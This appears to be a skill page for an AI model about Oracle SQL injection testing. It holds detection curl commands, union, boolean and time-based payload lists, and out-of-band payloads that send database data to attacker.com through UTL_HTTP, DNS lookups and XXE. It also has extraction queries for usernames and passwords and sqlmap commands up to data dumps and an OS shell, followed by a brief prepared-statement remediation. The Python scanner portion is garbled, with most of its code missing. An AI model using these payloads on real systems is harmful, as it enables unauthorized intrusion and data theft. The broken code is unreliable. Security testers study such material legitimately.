Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.
Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.
Oracle-specific SQL injection testing focuses on exploiting Oracle Database features, syntax, and built-in functions. Oracle's unique characteristics include PL/SQL, dual table, specific error messages, and distinct functions that can be leveraged for detection and exploitation.
What to Check
Oracle-specific error messages
Oracle system tables
PL/SQL injection
Oracle functions exploitation
UTL_HTTP for out-of-band
XML functions
How to Test
Step 1: Oracle Detection
#!/bin/bash
TARGET="https://target.com/product?id="# Oracle-specific payloadsecho"[*] Testing for Oracle database..."# Error-based detection
curl -s "${TARGET}'" | grep -iE "ORA-[0-9]{5}"# Dual table test (Oracle-specific)
curl -s "${TARGET}1 AND 1=(SELECT 1 FROM DUAL)--"# Oracle version
curl -s "${TARGET}' UNION SELECT NULL,banner,NULL FROM v\$version--"# String concatenation (Oracle uses ||)
curl -s "${TARGET}1'||'test"# Oracle comment syntax
curl -s "${TARGET}1--" | head -20
"' AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE ROWNUM=1))--"
"' AND 1=CTXSYS.DRITHSX.SN(1,'~'||(SELECT banner FROM v$version WHERE ROWNUM=1)||'~')--"
'union_based'
"' UNION SELECT NULL FROM DUAL--"
"' UNION SELECT NULL,NULL FROM DUAL--"
"' UNION SELECT NULL,NULL,NULL FROM DUAL--"
"' UNION SELECT NULL,banner,NULL FROM v$version--"
"' UNION SELECT NULL,user,NULL FROM DUAL--"
'boolean_based'
"' AND 1=1--"
"' AND 1=2--"
"' AND 'a'='a"
"' AND 'a'='b"
"1 AND (SELECT COUNT(*) FROM DUAL)=1"
"1 AND (SELECT COUNT(*) FROM DUAL)=2"
'time_based'
"' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--"
"' OR 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--"
"1 AND DBMS_LOCK.SLEEP(5)=1"
"' AND (SELECT CASE WHEN 1=1 THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1 END FROM DUAL) IS NOT NULL--"
'out_of_band'
"' AND UTL_HTTP.REQUEST('http://attacker.com/oob?data='||(SELECT user FROM DUAL))=1--"
"' AND UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM DUAL)||'.attacker.com')=1--"
"' AND (SELECT EXTRACTVALUE(xmltype('<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM \"http://attacker.com/'||(SELECT user FROM DUAL)||'\"> %remote;]>'),'/l') FROM DUAL) IS NOT NULL--"
def
detect_oracle
self, param
"""Detect if backend is Oracle"""
print
f"[*] Detecting Oracle database..."
"' AND 1=(SELECT 1 FROM DUAL)--"
"' UNION SELECT NULL FROM DUAL--"
"' AND ROWNUM=1--"
"1'||'test"
# Oracle string concat
for
in
try
self
self
# Check for Oracle errors
for
in
self
if
print
f"[+] Oracle database detected!"
return
True
# Check for successful injection (no error on DUAL query)
if
'DUAL'
in
and
200
print
f"[+] Oracle likely (DUAL table accessible)"
return
True
except
as
pass
return
False
def
test_error_based
self, param
"""Test Oracle error-based injection"""
print
f"\n[*] Testing Oracle error-based injection..."
for
in
self
'error_based'
try
self
self
# Look for Oracle version or data in error
if
r'Oracle|ORA-|v\$version'
print
f"[VULN] Error-based SQLi!"
print
f" Payload: {payload[:60]}"
self
'type'
'Oracle Error-based SQLi'
'payload'
'severity'
'Critical'
return
True
except
as
pass
return
False
def
test_union_based
self, param
"""Test Oracle UNION-based injection"""
print
f"\n[*] Testing Oracle UNION-based injection..."
# First find number of columns
for
in
range
1
10
','
'NULL'
f"' UNION SELECT {null_list} FROM DUAL--"
try
self
self
# If no error, we found the column count
if
200
for
in
self
if
not
print
f"[+] Column count: {i}"
# Try to extract data
f"' UNION SELECT {null_list.replace('NULL', 'user', 1)} FROM DUAL--"
self
self
self
'type'
'Oracle UNION-based SQLi'
'columns'
'severity'
'Critical'
return
True
except
as
pass
return
False
def
test_time_based
self, param
"""Test Oracle time-based blind injection"""
print
f"\n[*] Testing Oracle time-based injection..."
# Baseline time
self
self
'test'
30
for
in
self
'time_based'
try
self
self
30
if
4
print
f"[VULN] Time-based SQLi!"
print
f" Payload: {payload[:60]}"
print
f" Response time: {response_time:.2f}s"
self
'type'
'Oracle Time-based Blind SQLi'
'payload'
'response_time'
'severity'
'Critical'
return
True
except
print
f"[VULN] Time-based SQLi (timeout)!"
self
'type'
'Oracle Time-based Blind SQLi'
'payload'
'severity'
'Critical'
return
True
except
as
pass
return
False
def
run_tests
self, param='id'
"""Run all Oracle SQLi tests"""
if
self
self
self
self
self
def
generate_report
self
"""Generate findings report"""
print
"\n"
"="
60
print
"ORACLE SQL INJECTION REPORT"
print
"="
60
if
not
self
print
"\nNo Oracle SQLi vulnerabilities found."
else
for
in
self
print
f"\n[{f['severity']}] {f['type']}"
if
'payload'
in
print
f" Payload: {f['payload'][:70]}"
# Usage
"https://target.com/product"
'id'
Step 3: Oracle Data Extraction
-- Oracle VersionSELECT banner FROM v$version WHERE ROWNUM=1SELECT version FROM v$instance
-- Current UserSELECTuserFROM DUAL
SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL
-- Database NameSELECT global_name FROM global_name
SELECT SYS_CONTEXT('USERENV','DB_NAME') FROM DUAL
-- List TablesSELECT table_name FROM all_tables
SELECT table_name FROM user_tables
-- List ColumnsSELECT column_name FROM all_tab_columns WHERE table_name='USERS'-- Extract DataSELECT username,password FROM users
-- Stacked Queries (requires specific context)'; EXECUTE IMMEDIATE 'INSERT INTO log VALUES(''injected'')'--
-- File Reading (requires privileges)
SELECT * FROM (SELECT text FROM all_source WHERE name='UTL_FILE')
-- Command Execution (requires JAVA privileges)
-- Create Java class for command execution
-- Execute via DBMS_JAVA.RUNJAVA
Step 4: SQLMap Oracle Commands
# Detect and exploit Oracle SQLi
sqlmap -u "https://target.com/product?id=1" --dbms=oracle
# Get Oracle version
sqlmap -u "https://target.com/product?id=1" --dbms=oracle --banner
# List databases
sqlmap -u "https://target.com/product?id=1" --dbms=oracle --dbs
# List tables
sqlmap -u "https://target.com/product?id=1" --dbms=oracle -D ORCL --tables
# Dump data
sqlmap -u "https://target.com/product?id=1" --dbms=oracle -D ORCL -T USERS --dump
# OS shell (requires privileges)
sqlmap -u "https://target.com/product?id=1" --dbms=oracle --os-shell
Tools
Tool
Purpose
SQLMap
Automated Oracle SQLi
Oracle SQL Developer
Database client
Burp Suite
Manual testing
Remediation
// Java - PreparedStatement for OracleStringquery="SELECT * FROM users WHERE id = ?";
PreparedStatementpstmt= connection.prepareStatement(query);
pstmt.setInt(1, userId);
ResultSetrs= pstmt.executeQuery();
# Python - cx_Oracle with bind variablesimport cx_Oracle
cursor = connection.cursor()
cursor.execute("SELECT * FROM users WHERE id = :id", {'id': user_id})